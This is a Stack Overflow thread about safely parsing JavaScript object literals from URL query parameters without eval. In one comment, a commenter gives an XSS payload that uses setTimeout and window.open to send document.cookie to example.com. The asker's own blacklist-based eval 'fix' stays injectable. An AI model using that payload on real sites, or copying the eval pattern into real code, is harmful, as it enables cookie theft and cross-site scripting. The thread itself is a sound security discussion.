0

In my web app, I would like to accept arbitrary JavaScript objects as GET parameters. So I need to parse location.search in a way similar to eval, but I want to create self-contained objects only (object literals, arrays, regexps and possibly restricted-access functions):

var search =
    location.search ?
    decodeURIComponent(location.search).substring(1).split('&') :
    ['boo=alert(1)', 'filter={a: /^t/, b: function(i){return i+1;}}']
;
var params = {};
for (var i = 0, temp; i < search.length; i++){
    temp = search[i].split('=');
    temp = temp[1] ? temp : [temp[0], null];
    params[temp[0]] = saferEval(temp[1]);
};
console.log(params);

I came up with a version of saferEval function that blocks access to global variables, but it does not block access to built-in functions like alert():

var saferEval = function(s) {
    'use strict';
    var deteleGlobals =
        'var ' +
        Object.getOwnPropertyNames(window)
          .join(',')
          .replace(/(?:eval|chrome:[^,]*),/g, '') +
        ';'
    ;
    try {
        return eval(deteleGlobals + '(' + s + ');') || s;
    } catch(e) {
        return s;
    };
};

See my jsFiddle - alert(1) code is executed. Note that top.location is not accessible to jsFiddle scripts, you have to run the code locally if you want to fiddle with actual query parameters like ?filter={a: /%5Cd+/g}.

I would use JSON, but I need to have regular expressions at arbitrary places inside arrays and objects. I do not send any of these object back to the server, so using eval for this shouldn't harm the security so much...

How can I convert a string (that encodes JavaScript object) into object without giving it access to global namespace and built-in functions?

UPDATE - only useful "arbitrary" objects turned out to be regexp literals...

Aprillion
  • 21,510
  • 5
  • 55
  • 89
  • Do you need code in this? Or just regex values? If not code, but just regex values, you could put the regex items in as strings and then put indicators in for which strings are regexes and you could use regular and safe JSON decoding and then post process to find the regex values and convert them to regexes. – jfriend00 Oct 26 '13 at 23:46
  • possible duplicate of [Restricting eval() to a narrow scope](http://stackoverflow.com/questions/543533/restricting-eval-to-a-narrow-scope) – Qantas 94 Heavy Oct 26 '13 at 23:47
  • @jfriend00 I *need* just regexes, but I am a bit *interested* in functions as well. If you can give me a function to do regular JSON decoding and then convert some strings at arbitrary depth into regexes, it would be a very useful answer. – Aprillion Oct 26 '13 at 23:52
  • @Qantas94Heavy Accepted answer uses `with`, but I want to use *strict mode* if possible... Anyway, does any of the answer [there](http://stackoverflow.com/q/543533/1176601) prevent execution of `alert()`? – Aprillion Oct 26 '13 at 23:57
  • "I do not send any of these object back to the server, so using eval for this shouldn't harm the security" - You could be allowing external scripts to run in the context of your domain - are you storing any sensitive data or auth tokens in cookies? You could be opening up your site to XSS vulnerabilities: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) – SilverlightFox Oct 28 '13 at 10:26
  • @SilverlightFox the code wouldn't have access to `document` and no equal signs could be used in the code, how exactly is it supposed read cookies and do anything about them? – Aprillion Oct 28 '13 at 13:39
  • 1
    @deathApril This works `?cake=setTimeout("window.open(\"http://www.example.com?\"%20+%20document.cookie)",%201)` – SilverlightFox Oct 28 '13 at 16:35
  • @SilverlightFox thanks for this - is just `setTimeout` or would you be able to provide a list of dangerous built-in functions? I updated my own answer to include `var setTimeout` to disable it within eval scope.. – Aprillion Oct 28 '13 at 16:41
  • @deathApril My point was that blacklisting is often a bad approach - there will always be things overlooked and as JavaScript evolves there may be things added to the language in future that will make your code suddenly vulnerable. – SilverlightFox Oct 28 '13 at 16:48
  • so until JavaScript starts to support whitelisting of available features within eval scope, it will remain a bad idea.. is there really no way to list all built-in functions in JavaScript, @SilverlightFox? i will have to have a look at http://stackoverflow.com/a/8693974/1176601 later.. – Aprillion Oct 28 '13 at 19:43

2 Answers2

1

Per your comment that you'd be interested in seeing a solution that just solves the issue of having regex values in your JSON, then you could encode all regex values as strings in normal JSON like this:

"/this is my regex/"

Then, process the JSON normally into a javascript object and then call this function on it which will recursively walk through all objects and arrays, find all items that are strings, check them for the above format and, if found, convert those items to regular expressions. Here's the code:

function isArray(obj) {
    return toString.call(obj) === "[object Array]";
}

function isObject(obj) {
    return Object.prototype.toString.call(obj) === '[object Object]'
}

var regexTest = /^\/(.*)\/([gimy]*)$/;

function convertRegex(item) {
    if (isArray(item)) {
        // iterate over array items
        for (var i = 0; i < item.length; i++) {
            item[i] = convertRegex(item[i]);
        }
    } else if (isObject(item)) {
        for (var prop in item) {
            if (item.hasOwnProperty(prop)) {
                item[prop] = convertRegex(item[prop]);
            }
        }
    } else if (typeof item === "string") {
        var match = item.match(regexTest);
        if (match) {
            item = new RegExp(match[1], match[2]);
        }
    }
    return item;
}

And a sample usage:

var result = convertRegex(testObj);

Test environment that I stepped through the execution in the debugger: http://jsfiddle.net/jfriend00/bvpAX/

jfriend00
  • 683,504
  • 96
  • 985
  • 979
  • `'/ab/ig'` should be converted to regex, and not sure if `JSON.parse` produces just strings or numbers as well, but the principle looks sound, +1 – Aprillion Oct 27 '13 at 10:36
  • @deathApril - I updated it to support regex flags too. `JSON.parse()` does support numbers. – jfriend00 Oct 27 '13 at 19:54
  • I will probably preprocess non-well-formed-JSON input format such as `{a: /234/g}` with `location.search.replace(/['"]?\/(.*)\/([gimy])*['"]?/g, '"/$1/$2"')` and use this solution – Aprillion Oct 29 '13 at 12:15
0

Until there is better solution, I will add alert (and the like) into my list of local variables which would overshadow global/built-in functions within the eval scope:

var deteleGlobals =
    'var ' +
    Object.getOwnPropertyNames(window)
      .join(',')
      .replace(/(?:eval|chrome:[^,]*),/g, '') +
    ',alert,confirm,prompt,setTimeout;'
;

jsFiddle

Aprillion
  • 21,510
  • 5
  • 55
  • 89